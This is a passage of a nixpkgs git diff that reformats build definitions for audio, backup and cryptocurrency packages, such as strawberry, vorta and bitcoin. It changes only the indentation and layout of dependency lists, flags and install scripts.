+    qtwebengine
+  ]
+  ++ lib.optionals withImGui [
+    gl3w
+    SDL2
+    fmt
+  ];
 
   nativeCheckInputs = [
     parallel
diff --git a/pkgs/applications/audio/strawberry/default.nix b/pkgs/applications/audio/strawberry/default.nix
index 82ff1403965f..70992ed1feb1 100644
--- a/pkgs/applications/audio/strawberry/default.nix
+++ b/pkgs/applications/audio/strawberry/default.nix
@@ -57,55 +57,53 @@ stdenv.mkDerivation rec {
       --replace pictures/strawberry.png pictures/strawberry-grey.png
   '';
 
-  buildInputs =
-    [
-      alsa-lib
-      boost
-      chromaprint
-      fftw
-      gnutls
-      kdsingleapplication
-      libXdmcp
-      libcdio
-      libebur128
-      libidn2
-      libmtp
-      libpthreadstubs
-      libtasn1
-      qtbase
-      sqlite
-      taglib
-      sparsehash
-      rapidjson
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      libgpod
-      libpulseaudio
-      libselinux
-      libsepol
-      p11-kit
-    ]
-    ++ (with gst_all_1; [
-      glib-networking
-      gst-libav
-      gst-plugins-bad
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-ugly
-      gstreamer
-    ]);
+  buildInputs = [
+    alsa-lib
+    boost
+    chromaprint
+    fftw
+    gnutls
+    kdsingleapplication
+    libXdmcp
+    libcdio
+    libebur128
+    libidn2
+    libmtp
+    libpthreadstubs
+    libtasn1
+    qtbase
+    sqlite
+    taglib
+    sparsehash
+    rapidjson
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    libgpod
+    libpulseaudio
+    libselinux
+    libsepol
+    p11-kit
+  ]
+  ++ (with gst_all_1; [
+    glib-networking
+    gst-libav
+    gst-plugins-bad
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-ugly
+    gstreamer
+  ]);
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-      qttools
-      wrapQtAppsHook
-    ]
-    ++ optionals stdenv.hostPlatform.isLinux [
-      util-linux
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+    qttools
+    wrapQtAppsHook
+  ]
+  ++ optionals stdenv.hostPlatform.isLinux [
+    util-linux
+  ];
 
   postInstall = ''
     qtWrapperArgs+=(
diff --git a/pkgs/applications/audio/vorbis-tools/default.nix b/pkgs/applications/audio/vorbis-tools/default.nix
index 2632fafb6751..e6a31ab4af21 100644
--- a/pkgs/applications/audio/vorbis-tools/default.nix
+++ b/pkgs/applications/audio/vorbis-tools/default.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation rec {
     curl
     speex
     flac
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   meta = with lib; {
     description = "Extra tools for Ogg-Vorbis audio codec";
diff --git a/pkgs/applications/audio/youtube-music/default.nix b/pkgs/applications/audio/youtube-music/default.nix
index 05834c063e22..ba02694aa40f 100644
--- a/pkgs/applications/audio/youtube-music/default.nix
+++ b/pkgs/applications/audio/youtube-music/default.nix
@@ -33,7 +33,8 @@ stdenv.mkDerivation (finalAttrs: {
     python3
     nodejs
     pnpm.configHook
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ copyDesktopItems ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ copyDesktopItems ];
 
   ELECTRON_SKIP_BINARY_DOWNLOAD = 1;
 
@@ -50,30 +51,29 @@ stdenv.mkDerivation (finalAttrs: {
         -c.electronVersion=${electron.version}
     '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/{Applications,bin}
-      mv pack/mac*/YouTube\ Music.app $out/Applications
-      makeWrapper $out/Applications/YouTube\ Music.app/Contents/MacOS/YouTube\ Music $out/bin/youtube-music
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      mkdir -p "$out/share/lib/youtube-music"
-      cp -r pack/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/youtube-music"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/{Applications,bin}
+    mv pack/mac*/YouTube\ Music.app $out/Applications
+    makeWrapper $out/Applications/YouTube\ Music.app/Contents/MacOS/YouTube\ Music $out/bin/youtube-music
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    mkdir -p "$out/share/lib/youtube-music"
+    cp -r pack/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/youtube-music"
 
-      pushd assets/generated/icons/png
-      for file in *.png; do
-        install -Dm0644 $file $out/share/icons/hicolor/''${file//.png}/apps/youtube-music.png
-      done
-      popd
-    ''
-    + ''
+    pushd assets/generated/icons/png
+    for file in *.png; do
+      install -Dm0644 $file $out/share/icons/hicolor/''${file//.png}/apps/youtube-music.png
+    done
+    popd
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   postFixup = lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
     makeWrapper ${electron}/bin/electron $out/bin/youtube-music \
diff --git a/pkgs/applications/audio/zynaddsubfx/default.nix b/pkgs/applications/audio/zynaddsubfx/default.nix
index f6ac1294fc2a..fafaee34b67a 100644
--- a/pkgs/applications/audio/zynaddsubfx/default.nix
+++ b/pkgs/applications/audio/zynaddsubfx/default.nix
@@ -101,47 +101,45 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fftw
-      liblo
-      minixml
-      zlib
-    ]
-    ++ lib.optionals alsaSupport [ alsa-lib ]
-    ++ lib.optionals dssiSupport [
-      dssi
-      ladspaH
-    ]
-    ++ lib.optionals jackSupport [ libjack2 ]
-    ++ lib.optionals lashSupport [ lash ]
-    ++ lib.optionals portaudioSupport [ portaudio ]
-    ++ lib.optionals sndioSupport [ sndio ]
-    ++ lib.optionals (guiModule == "fltk") [
-      fltk
-      libjpeg
-      libXpm
-    ]
-    ++ lib.optionals (guiModule == "ntk") [
-      ntk
-      cairo
-      libXpm
-    ]
-    ++ lib.optionals (guiModule == "zest") [
-      libGL
-      libX11
-    ];
+  buildInputs = [
+    fftw
+    liblo
+    minixml
+    zlib
+  ]
+  ++ lib.optionals alsaSupport [ alsa-lib ]
+  ++ lib.optionals dssiSupport [
+    dssi
+    ladspaH
+  ]
+  ++ lib.optionals jackSupport [ libjack2 ]
+  ++ lib.optionals lashSupport [ lash ]
+  ++ lib.optionals portaudioSupport [ portaudio ]
+  ++ lib.optionals sndioSupport [ sndio ]
+  ++ lib.optionals (guiModule == "fltk") [
+    fltk
+    libjpeg
+    libXpm
+  ]
+  ++ lib.optionals (guiModule == "ntk") [
+    ntk
+    cairo
+    libXpm
+  ]
+  ++ lib.optionals (guiModule == "zest") [
+    libGL
+    libX11
+  ];
 
-  cmakeFlags =
-    [
-      "-DGuiModule=${guiModule}"
-      "-DZYN_DATADIR=${placeholder "out"}/share/zynaddsubfx"
-    ]
-    # OSS library is included in glibc.
-    # Must explicitly disable if support is not wanted.
-    ++ lib.optional (!ossSupport) "-DOssEnable=OFF"
-    # Find FLTK without requiring an OpenGL library in buildInputs
-    ++ lib.optional (guiModule == "fltk") "-DFLTK_SKIP_OPENGL=ON";
+  cmakeFlags = [
+    "-DGuiModule=${guiModule}"
+    "-DZYN_DATADIR=${placeholder "out"}/share/zynaddsubfx"
+  ]
+  # OSS library is included in glibc.
+  # Must explicitly disable if support is not wanted.
+  ++ lib.optional (!ossSupport) "-DOssEnable=OFF"
+  # Find FLTK without requiring an OpenGL library in buildInputs
+  ++ lib.optional (guiModule == "fltk") "-DFLTK_SKIP_OPENGL=ON";
 
   CXXFLAGS = [
     # GCC 13: error: 'uint8_t' does not name a type
diff --git a/pkgs/applications/backup/timeshift/default.nix b/pkgs/applications/backup/timeshift/default.nix
index 9c6de88703b3..c398fe58d7a5 100644
--- a/pkgs/applications/backup/timeshift/default.nix
+++ b/pkgs/applications/backup/timeshift/default.nix
@@ -26,11 +26,9 @@ in
   (oldAttrs: {
     meta = oldAttrs.meta // {
       description = oldAttrs.meta.description;
-      longDescription =
-        oldAttrs.meta.longDescription
-        + ''
-          This package comes with runtime dependencies of command utilities provided by rsync, coreutils, mount, umount, psmisc, cron and btrfs.
-          If you want to use the commands provided by the system, use timeshift-minimal instead.
-        '';
+      longDescription = oldAttrs.meta.longDescription + ''
+        This package comes with runtime dependencies of command utilities provided by rsync, coreutils, mount, umount, psmisc, cron and btrfs.
+        If you want to use the commands provided by the system, use timeshift-minimal instead.
+      '';
     };
   })
diff --git a/pkgs/applications/backup/timeshift/minimal.nix b/pkgs/applications/backup/timeshift/minimal.nix
index 113200c30e73..e30c143419b0 100644
--- a/pkgs/applications/backup/timeshift/minimal.nix
+++ b/pkgs/applications/backup/timeshift/minimal.nix
@@ -8,11 +8,9 @@ in
 (timeshift-wrapper timeshift-unwrapped [ ]).overrideAttrs (oldAttrs: {
   meta = oldAttrs.meta // {
     description = oldAttrs.meta.description + " (without runtime dependencies)";
-    longDescription =
-      oldAttrs.meta.longDescription
-      + ''
-        This package is a wrapped version of timeshift-unwrapped
-        without runtime dependencies of command utilities.
-      '';
+    longDescription = oldAttrs.meta.longDescription + ''
+      This package is a wrapped version of timeshift-unwrapped
+      without runtime dependencies of command utilities.
+    '';
   };
 })
diff --git a/pkgs/applications/backup/vorta/default.nix b/pkgs/applications/backup/vorta/default.nix
index bb2d649bd099..0944414492b7 100644
--- a/pkgs/applications/backup/vorta/default.nix
+++ b/pkgs/applications/backup/vorta/default.nix
@@ -28,13 +28,12 @@ python3Packages.buildPythonApplication rec {
     wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qtwayland
-    ];
+  buildInputs = [
+    qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qtwayland
+  ];
 
   build-system = with python3Packages; [
     setuptools
@@ -89,16 +88,15 @@ python3Packages.buildPythonApplication rec {
       export QT_QPA_PLATFORM=offscreen
     '';
 
-  disabledTestPaths =
-    [
-      # QObject::connect: No such signal QPlatformNativeInterface::systemTrayWindowChanged(QScreen*)    "tests/test_excludes.py"
-      "tests/integration"
-      "tests/unit"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # Darwin-only test
-      "tests/network_manager/test_darwin.py"
-    ];
+  disabledTestPaths = [
+    # QObject::connect: No such signal QPlatformNativeInterface::systemTrayWindowChanged(QScreen*)    "tests/test_excludes.py"
+    "tests/integration"
+    "tests/unit"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # Darwin-only test
+    "tests/network_manager/test_darwin.py"
+  ];
 
   meta = {
     changelog = "https://github.com/borgbase/vorta/releases/tag/v${version}";
diff --git a/pkgs/applications/blockchains/bitcoin-abc/default.nix b/pkgs/applications/blockchains/bitcoin-abc/default.nix
index a9270da67d9f..851bd35eee6d 100644
--- a/pkgs/applications/blockchains/bitcoin-abc/default.nix
+++ b/pkgs/applications/blockchains/bitcoin-abc/default.nix
@@ -48,27 +48,26 @@ mkDerivation rec {
     pkg-config
     cmake
   ];
-  buildInputs =
-    [
-      openssl
-      db53
-      boost
-      zlib
-      python3
-      jemalloc
-      libnatpmp
-      zeromq
-      miniupnpc
-      util-linux
-      protobuf
-      libevent
-      sqlite
-    ]
-    ++ lib.optionals withGui [
-      qtbase
-      qttools
-      qrencode
-    ];
+  buildInputs = [
+    openssl
+    db53
+    boost
+    zlib
+    python3
+    jemalloc
+    libnatpmp
+    zeromq
+    miniupnpc
+    util-linux
+    protobuf
+    libevent
+    sqlite
+  ]
+  ++ lib.optionals withGui [
+    qtbase
+    qttools
+    qrencode
+  ];
 
   cmakeFlags = lib.optionals (!withGui) [
     "-DBUILD_BITCOIN_QT=OFF"
diff --git a/pkgs/applications/blockchains/bitcoin-knots/default.nix b/pkgs/applications/blockchains/bitcoin-knots/default.nix
index e1410eff679d..44bf98954c74 100644
--- a/pkgs/applications/blockchains/bitcoin-knots/default.nix
+++ b/pkgs/applications/blockchains/bitcoin-knots/default.nix
@@ -32,60 +32,58 @@ stdenv.mkDerivation rec {
     hash = "sha256-DKO3+43Tn/BTKQVrLrCkeMtzm8SfbaJD8rPlb6lDA8A=";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ]
-    ++ lib.optionals withGui [ wrapQtAppsHook ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ]
+  ++ lib.optionals withGui [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      boost
-      libevent
-      miniupnpc
-      zeromq
-      zlib
-    ]
-    ++ lib.optionals withWallet [ sqlite ]
-    ++ lib.optionals (withWallet && !stdenv.hostPlatform.isDarwin) [ db48 ]
-    ++ lib.optionals withGui [
-      qrencode
-      qtbase
-      qttools
-    ];
+  buildInputs = [
+    boost
+    libevent
+    miniupnpc
+    zeromq
+    zlib
+  ]
+  ++ lib.optionals withWallet [ sqlite ]
+  ++ lib.optionals (withWallet && !stdenv.hostPlatform.isDarwin) [ db48 ]
+  ++ lib.optionals withGui [
+    qrencode
+    qtbase
+    qttools
+  ];
 
-  configureFlags =
-    [
-      "--with-boost-libdir=${boost.out}/lib"
-      "--disable-bench"
-    ]
-    ++ lib.optionals (!doCheck) [
-      "--disable-tests"
-      "--disable-gui-tests"
-    ]
-    ++ lib.optionals (!withWallet) [
-      "--disable-wallet"
-    ]
-    ++ lib.optionals withGui [
-      "--with-gui=qt5"
-      "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
-    ];
+  configureFlags = [
+    "--with-boost-libdir=${boost.out}/lib"
+    "--disable-bench"
+  ]
+  ++ lib.optionals (!doCheck) [
+    "--disable-tests"
+    "--disable-gui-tests"
+  ]
+  ++ lib.optionals (!withWallet) [
+    "--disable-wallet"
+  ]
+  ++ lib.optionals withGui [
+    "--with-gui=qt5"
+    "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
+  ];
 
   nativeCheckInputs = [ python3 ];
 
   doCheck = true;
 
-  checkFlags =
-    [ "LC_ALL=en_US.UTF-8" ]
-    # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Bitcoin's GUI.
-    # See also https://github.com/NixOS/nixpkgs/issues/24256
-    ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
+  checkFlags = [
+    "LC_ALL=en_US.UTF-8"
+  ]
+  # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Bitcoin's GUI.
+  # See also https://github.com/NixOS/nixpkgs/issues/24256
+  ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/blockchains/bitcoin/default.nix b/pkgs/applications/blockchains/bitcoin/default.nix
index 818feda76efa..809f8665050f 100644
--- a/pkgs/applications/blockchains/bitcoin/default.nix
+++ b/pkgs/applications/blockchains/bitcoin/default.nix
@@ -44,74 +44,70 @@ stdenv.mkDerivation (finalAttrs: {
     sha256 = "882c782c34a3bf2eacd1fae5cdc58b35b869883512f197f7d6dc8f195decfdaa";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      installShellFiles
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ]
-    ++ lib.optionals withGui [ wrapQtAppsHook ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    installShellFiles
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ]
+  ++ lib.optionals withGui [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      boost
-      libevent
-      zeromq
-      zlib
-    ]
-    ++ lib.optionals enableTracing [ libsystemtap ]
-    ++ lib.optionals withWallet [ sqlite ]
-    # building with db48 (for legacy descriptor wallet support) is broken on Darwin
-    ++ lib.optionals (withWallet && !stdenv.hostPlatform.isDarwin) [ db48 ]
-    ++ lib.optionals withGui [
-      qrencode
-      qtbase
-      qttools
-    ];
+  buildInputs = [
+    boost
+    libevent
+    zeromq
+    zlib
+  ]
+  ++ lib.optionals enableTracing [ libsystemtap ]
+  ++ lib.optionals withWallet [ sqlite ]
+  # building with db48 (for legacy descriptor wallet support) is broken on Darwin
+  ++ lib.optionals (withWallet && !stdenv.hostPlatform.isDarwin) [ db48 ]
+  ++ lib.optionals withGui [
+    qrencode
+    qtbase
+    qttools
+  ];
 
-  postInstall =
-    ''
-      cd ..
-      installShellCompletion --bash contrib/completions/bash/bitcoin-cli.bash
-      installShellCompletion --bash contrib/completions/bash/bitcoind.bash
-      installShellCompletion --bash contrib/completions/bash/bitcoin-tx.bash
+  postInstall = ''
+    cd ..
+    installShellCompletion --bash contrib/completions/bash/bitcoin-cli.bash
+    installShellCompletion --bash contrib/completions/bash/bitcoind.bash
+    installShellCompletion --bash contrib/completions/bash/bitcoin-tx.bash
 
-      installShellCompletion --fish contrib/completions/fish/bitcoin-cli.fish
-      installShellCompletion --fish contrib/completions/fish/bitcoind.fish
-      installShellCompletion --fish contrib/completions/fish/bitcoin-tx.fish
-      installShellCompletion --fish contrib/completions/fish/bitcoin-util.fish
-      installShellCompletion --fish contrib/completions/fish/bitcoin-wallet.fish
-    ''
-    + lib.optionalString withGui ''
-      installShellCompletion --fish contrib/completions/fish/bitcoin-qt.fish
+    installShellCompletion --fish contrib/completions/fish/bitcoin-cli.fish
+    installShellCompletion --fish contrib/completions/fish/bitcoind.fish
+    installShellCompletion --fish contrib/completions/fish/bitcoin-tx.fish
+    installShellCompletion --fish contrib/completions/fish/bitcoin-util.fish
+    installShellCompletion --fish contrib/completions/fish/bitcoin-wallet.fish
+  ''
+  + lib.optionalString withGui ''
+    installShellCompletion --fish contrib/completions/fish/bitcoin-qt.fish
 
-      install -Dm644 ${desktop} $out/share/applications/bitcoin-qt.desktop
-      substituteInPlace $out/share/applications/bitcoin-qt.desktop --replace "Icon=bitcoin128" "Icon=bitcoin"
-      install -Dm644 share/pixmaps/bitcoin256.png $out/share/pixmaps/bitcoin.png
-    '';
+    install -Dm644 ${desktop} $out/share/applications/bitcoin-qt.desktop
+    substituteInPlace $out/share/applications/bitcoin-qt.desktop --replace "Icon=bitcoin128" "Icon=bitcoin"
+    install -Dm644 share/pixmaps/bitcoin256.png $out/share/pixmaps/bitcoin.png
+  '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_BENCH" false)
-      (lib.cmakeBool "WITH_ZMQ" true)
-      # building with db48 (for legacy wallet support) is broken on Darwin
-      (lib.cmakeBool "WITH_BDB" (withWallet && !stdenv.hostPlatform.isDarwin))
-      (lib.cmakeBool "WITH_USDT" enableTracing)
-    ]
-    ++ lib.optionals (!finalAttrs.doCheck) [
-      (lib.cmakeBool "BUILD_TESTS" false)
-      (lib.cmakeBool "BUILD_FUZZ_BINARY" false)
-      (lib.cmakeBool "BUILD_GUI_TESTS" false)
-    ]
-    ++ lib.optionals (!withWallet) [
-      (lib.cmakeBool "ENABLE_WALLET" false)
-    ]
-    ++ lib.optionals withGui [
-      (lib.cmakeBool "BUILD_GUI" true)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_BENCH" false)
+    (lib.cmakeBool "WITH_ZMQ" true)
+    # building with db48 (for legacy wallet support) is broken on Darwin
+    (lib.cmakeBool "WITH_BDB" (withWallet && !stdenv.hostPlatform.isDarwin))
+    (lib.cmakeBool "WITH_USDT" enableTracing)
+  ]
+  ++ lib.optionals (!finalAttrs.doCheck) [
+    (lib.cmakeBool "BUILD_TESTS" false)
+    (lib.cmakeBool "BUILD_FUZZ_BINARY" false)
+    (lib.cmakeBool "BUILD_GUI_TESTS" false)
+  ]
+  ++ lib.optionals (!withWallet) [
+    (lib.cmakeBool "ENABLE_WALLET" false)
+  ]
+  ++ lib.optionals withGui [
+    (lib.cmakeBool "BUILD_GUI" true)
+  ];
 
   NIX_LDFLAGS = lib.optionals (
     stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isStatic
@@ -121,11 +117,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   doCheck = true;
 
-  checkFlags =
-    [ "LC_ALL=en_US.UTF-8" ]
-    # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Bitcoin's GUI.
-    # See also https://github.com/NixOS/nixpkgs/issues/24256
-    ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
+  checkFlags = [
+    "LC_ALL=en_US.UTF-8"
+  ]
+  # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Bitcoin's GUI.
+  # See also https://github.com/NixOS/nixpkgs/issues/24256
+  ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/blockchains/digibyte/default.nix b/pkgs/applications/blockchains/digibyte/default.nix
index bb254dc0c32f..fa5dad72eb14 100644
--- a/pkgs/applications/blockchains/digibyte/default.nix
+++ b/pkgs/applications/blockchains/digibyte/default.nix
@@ -30,40 +30,37 @@ stdenv.mkDerivation rec {
     sha256 = "zPwnC2qd28fA1saG4nysPlKU1nnXhfuSG3DpCY6T+kM=";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      hexdump
-    ]
-    ++ lib.optionals withGui [
-      wrapQtAppsHook
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    hexdump
+  ]
+  ++ lib.optionals withGui [
+    wrapQtAppsHook
+  ];
 
-  buildInputs =
-    [
-      openssl
-      boost
-      libevent
-      db4
-      zeromq
-    ]
-    ++ lib.optionals withGui [
-      qtbase
-      qttools
-      protobuf
-    ];
+  buildInputs = [
+    openssl
+    boost
+    libevent
+    db4
+    zeromq
+  ]
+  ++ lib.optionals withGui [
+    qtbase
+    qttools
+    protobuf
+  ];
 
   enableParallelBuilding = true;
 
-  configureFlags =
-    [
-      "--with-boost-libdir=${boost.out}/lib"
-    ]
-    ++ lib.optionals withGui [
-      "--with-gui=qt5"
-      "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
-    ];
+  configureFlags = [
+    "--with-boost-libdir=${boost.out}/lib"
+  ]
+  ++ lib.optionals withGui [
+    "--with-gui=qt5"
+    "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
+  ];
 
   meta = with lib; {
     description = "DigiByte (DGB) is a rapidly growing decentralized, global blockchain";
diff --git a/pkgs/applications/blockchains/elements/default.nix b/pkgs/applications/blockchains/elements/default.nix
index b62b8eb53d68..1dbda8ed0797 100644
--- a/pkgs/applications/blockchains/elements/default.nix
+++ b/pkgs/applications/blockchains/elements/default.nix
@@ -43,52 +43,49 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ]
-    ++ lib.optionals withGui [ wrapQtAppsHook ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ]
+  ++ lib.optionals withGui [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      boost
-      libevent
-      miniupnpc
-      zeromq
-      zlib
-    ]
-    ++ lib.optionals withWallet [
-      db48
-      sqlite
-    ]
-    ++ lib.optionals withGui [
-      qrencode
-      qtbase
-      qttools
-    ];
+  buildInputs = [
+    boost
+    libevent
+    miniupnpc
+    zeromq
+    zlib
+  ]
+  ++ lib.optionals withWallet [
+    db48
+    sqlite
+  ]
+  ++ lib.optionals withGui [
+    qrencode
+    qtbase
+    qttools
+  ];
 
-  configureFlags =
-    [
-      "--with-boost-libdir=${boost.out}/lib"
-      "--disable-bench"
-    ]
-    ++ lib.optionals (!doCheck) [
-      "--disable-tests"
-      "--disable-gui-tests"
-    ]
-    ++ lib.optionals (!withWallet) [
-      "--disable-wallet"
-    ]
-    ++ lib.optionals withGui [
-      "--with-gui=qt5"
-      "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
-    ];
+  configureFlags = [
+    "--with-boost-libdir=${boost.out}/lib"
+    "--disable-bench"
+  ]
+  ++ lib.optionals (!doCheck) [
+    "--disable-tests"
+    "--disable-gui-tests"
+  ]
+  ++ lib.optionals (!withWallet) [
+    "--disable-wallet"
+  ]
+  ++ lib.optionals withGui [
+    "--with-gui=qt5"
+    "--with-qt-bindir=${qtbase.dev}/bin:${qttools.dev}/bin"
+  ];
 
   # fix "Killed: 9  test/test_bitcoin"
   # https://github.com/NixOS/nixpkgs/issues/179474
@@ -101,11 +98,12 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  checkFlags =
-    [ "LC_ALL=en_US.UTF-8" ]
-    # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Bitcoin's GUI.
-    # See also https://github.com/NixOS/nixpkgs/issues/24256
-    ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
+  checkFlags = [
+    "LC_ALL=en_US.UTF-8"
+  ]
+  # QT_PLUGIN_PATH needs to be set when executing QT, which is needed when testing Bitcoin's GUI.
+  # See also https://github.com/NixOS/nixpkgs/issues/24256
+  ++ lib.optional withGui "QT_PLUGIN_PATH=${qtbase}/${qtbase.qtPluginPrefix}";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/applications/blockchains/groestlcoin/default.nix b/pkgs/applications/blockchains/groestlcoin/default.nix
index d0de5fa729b3..b7c3fe5f7044 100644
--- a/pkgs/applications/blockchains/groestlcoin/default.nix
+++ b/pkgs/applications/blockchains/groestlcoin/default.nix
@@ -43,75 +43,72 @@ stdenv.mkDerivation rec {
     sha256 = "0kl7nq62362clgzxwwd5c256xnaar4ilxcvbralazxg47zv95r11";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
-      autoSignDarwinBinariesHook
-    ]
-    ++ lib.optionals withGui [ wrapQtAppsHook ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ hexdump ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [
+    autoSignDarwinBinariesHook
+  ]
+  ++ lib.optionals withGui [ wrapQtAppsHook ];
 
-  buildInputs =
-    [
-      boost
-      libevent
-      miniupnpc
-      zeromq
-      zlib
-    ]
-    ++ lib.optionals withWallet [
-      db53
-      sqlite
-    ]
-    ++ lib.optionals withGui [
-      qrencode
-      qtbase
-      qttools
-    ];
+  buildInputs = [
+    boost
+    libevent
+    miniupnpc
+    zeromq
+    zlib
+  ]
+  ++ lib.optionals withWallet [
+    db53
+    sqlite
+  ]
+  ++ lib.optionals withGui [
+    qrencode
+    qtbase
+    qttools
+  ];
 
-  postInstall =
-    ''
-      installShellCompletion --bash contrib/completions/bash/groestlcoin-cli.bash
-      installShellCompletion --bash contrib/completions/bash/groestlcoind.bash
-      installShellCompletion --bash contrib/completions/bash/groestlcoin-tx.bash
+  postInstall = ''
+    installShellCompletion --bash contrib/completions/bash/groestlcoin-cli.bash
+    installShellCompletion --bash contrib/completions/bash/groestlcoind.bash
+    installShellCompletion --bash contrib/completions/bash/groestlcoin-tx.bash
 
-      for file in contrib/completions/fish/groestlcoin-*.fish; do
-        installShellCompletion --fish $file
-      done
-    ''
-    + lib.optionalString withGui ''
-      installShellCompletion --fish contrib/completions/fish/groestlcoin-qt.fish
+    for file in contrib/completions/fish/groestlcoin-*.fish; do
+      installShellCompletion --fish $file
+    done
+  ''
+  + lib.optionalString withGui ''
+    installShellCompletion --fish contrib/completions/fish/groestlcoin-qt.fish
 
-      install -Dm644 ${desktop} $out/share/applications/groestlcoin-qt.desktop
-      substituteInPlace $out/share/applications/groestlcoin-qt.desktop --replace "Icon=groestlcoin128" "Icon=groestlcoin"
-      install -Dm644 share/pixmaps/groestlcoin256.png $out/share/pixmaps/groestlcoin.png
